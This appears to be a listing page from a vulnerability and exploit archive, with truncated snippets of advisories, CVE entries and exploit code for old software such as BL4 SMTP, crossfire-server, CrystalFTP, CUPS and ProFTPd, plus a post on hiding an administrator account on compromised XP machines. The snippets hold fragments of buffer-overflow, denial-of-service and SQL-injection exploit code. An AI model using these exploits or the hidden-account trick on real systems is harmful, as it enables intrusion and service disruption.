Mandiant First Response多个拒绝服务及代理劫持漏洞

Mandiant First Response是一款事件响应工具，用于收集所运行进程、系统服务之类的系统信息。 Mandiant First Response中存在多个安全漏洞，具体如下： 1 畸形客户端请求导致SSL代理拒绝服务 如果以守护程序模式运行的话，First Response代理（FRAgent.exe）会通过HTTP或修改过的HTTPS实现接受First Response控制台的远程连接。如果攻击者向启用了SSL的代理发送了一系列特制请求的话，就会强制代理出现异常，之后代理的套接字会陷入无限的CLOSEWAIT状态，所有之后的连接尝试也都会被拒绝，必须重启服务才能恢复连接。...

In xp under perfect hidden accounts-vulnerability warning-the black bar safety net

Some of the brothers invasion of the xp after the dare plus account, because the account number in the login screen is visible, so in General the brothers are put helpassistant this account is added as administrator, and then modified the registry to put the xp remote connection changed to classi...

BL4 SMTP Server < 0.1.5 Remote Buffer Overflow PoC

Exploit for unknown platform in category dos / poc ================================================== BL4 SMTP Server 2 usage if$ARGV 2 $prt = $ARGV1 else $prt = "25" ; $adr = $ARGV0; $prt = $ARGV1; $socket = IO::Socket::INET-newProto="tcp", PeerAddr=$adr, PeerPort=$prt, Reuse=1 or die "Error: ca...

crossfire-server <= 1.9.0 SetUp() Remote Buffer Overflow Exploit

Exploit for linux platform in category remote exploits ================================================================ crossfire-server include include include include include include include include define PORT 13327 // default port define SCPORT 33333 // default shellcode port define SCHOST...

Cerberus FTP Server <= 2.32 Denial of Service Exploit

Exploit for unknown platform in category dos / poc ===================================================== Cerberus FTP Server include include include include define POCSTR "%s" int header; int usagechar filename; int remoteconnect char ip, unsigned short port ; int header printf"\ni KAPDA - Comput...

HomeFtp 1.1 - 'NLST' Denial of Service

/ HomeFtp v1.1 Denial of Service original advisory: http://kapda.ir/advisory-202.html homeftpv1.1xpl.c ---------------------------------------- / include include include include include define POCSTR "USER %s\x0d\x0aPASS %s\x0d\x0aNLST\x0d\x0a" int header; int usagechar filename; int remoteconnec...

CUPS Server 1.1 - GET Denial of Service

/ dl-cups.c v0.1 CUPS server freeze and processor load "fuckup" exploit bug found and exploit coded by tracewar darklogic team for educaional purposes only. greetz goes to: setuid, matan. / include include include include include char EVIL = "\x2e\x2e\x5c\x2e\x2e"; void usagechar argv0...

CrystalFTP Pro 2.8 - Remote Buffer Overflow

/ CrystalFTP Pro v2.8 Buffer Overflow Exploit 04/25/2005 despite the fact that nobody uses CrystalFTP i had to release a new version that replaces the first one. this overwrites the structured exception handler with a "pop edx pop eax ret" in kernel32.dll. this takes us to a pointer of the next...

[SECURITY] [DSA 687-1] New bidwatcher packages fix format string vulnerability

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - -------------------------------------------------------------------------- Debian Security Advisory DSA 687-1 [email protected] http://www.debian.org/security/ Martin Schulze February 18th, 2005 http://www.debian.org/security/faq -...

CVE-2002-1463

Symantec Raptor Firewall 6.5 and 6.5.3, Enterprise Firewall 6.5.2 and 7.0, VelociRaptor Models 500/700/1000 and 1100/1200/1300, and Gateway Security 5110/5200/5300 generate easily predictable initial sequence numbers ISN, which allows remote attackers to spoof connections...

ProFTPd 1.2.9 RC1 - 'mod_sql' SQL Injection

!/usr/bin/perl ProFTPD 1.2.9 rc1 modsql SQL Injection remote Exploit Spaine - 2003 use IO::Socket; if@ARGC 1=Alternate query\n\n"; exit0; ; $server = $ARGV0; $query = $ARGV1; $remote = IO::Socket::INET-newProto="tcp",PeerAddr=$server,PeerPort="21",Reuse=1 or die "Can't connect. \n"; ifdefined$lin...

Pserv 2.0 - HTTP Request Parsing Buffer Overflow

Pserv 2.0 - HTTP Request Parsing Buffer Overflow source: https://www.securityfocus.com/bid/6287/info A buffer overflow vulnerability has been reported in Pserv. The buffer overflow condition is due to the way Pserv handles data streams from remote connections. An attacker can exploit this...

DB4Web 3.4/3.6 - Connection Proxy

source: https://www.securityfocus.com/bid/5725/info DB4Web is an application server that allows read and write access to relational databases and other information sources, via the web. The application is available for Windows, Linux, and various Unix platforms. By requesting a specially crafted...

CVE-2001-0751

Cisco switches and routers running CBOS 2.3.8 and earlier use predictable TCP Initial Sequence Numbers ISN, which allows remote attackers to spoof or hijack TCP connections...

CVE-1999-1291

TCP/IP implementation in Microsoft Windows 95, Windows NT 4.0, and possibly others, allows remote attackers to reset connections by forcing a reset RST via a PSH ACK or other means, obtaining the target's last sequence number from the resulting packet, then spoofing a reset to the target...

CVE-2001-0163

Cisco AP340 base station produces predictable TCP Initial Sequence Numbers ISNs, which allows remote attackers to spoof or hijack TCP connections...

PT-2001-1393 · Microsoft · Wince

Name of the Vulnerable Software and Affected Versions: WinCE version 3.0.9348 Description: The issue allows remote attackers to spoof or hijack TCP connections due to the generation of predictable TCP Initial Sequence Numbers ISNs. Recommendations: For WinCE version 3.0.9348, at the moment, there...

Microsoft Internet Explorer 5.0.15.5 - mstask.exe CPU Consumption (Denial of Service)

Microsoft Internet Explorer 5.0.15.5 - mstask.exe CPU Consumption Denial of Service source: https://www.securityfocus.com/bid/2129/info Microsoft Internet Explorer ships with a task scheduler engine mstask.exe. By default mstask.exe listens between port 1025 to 1220. It is possible for a user to...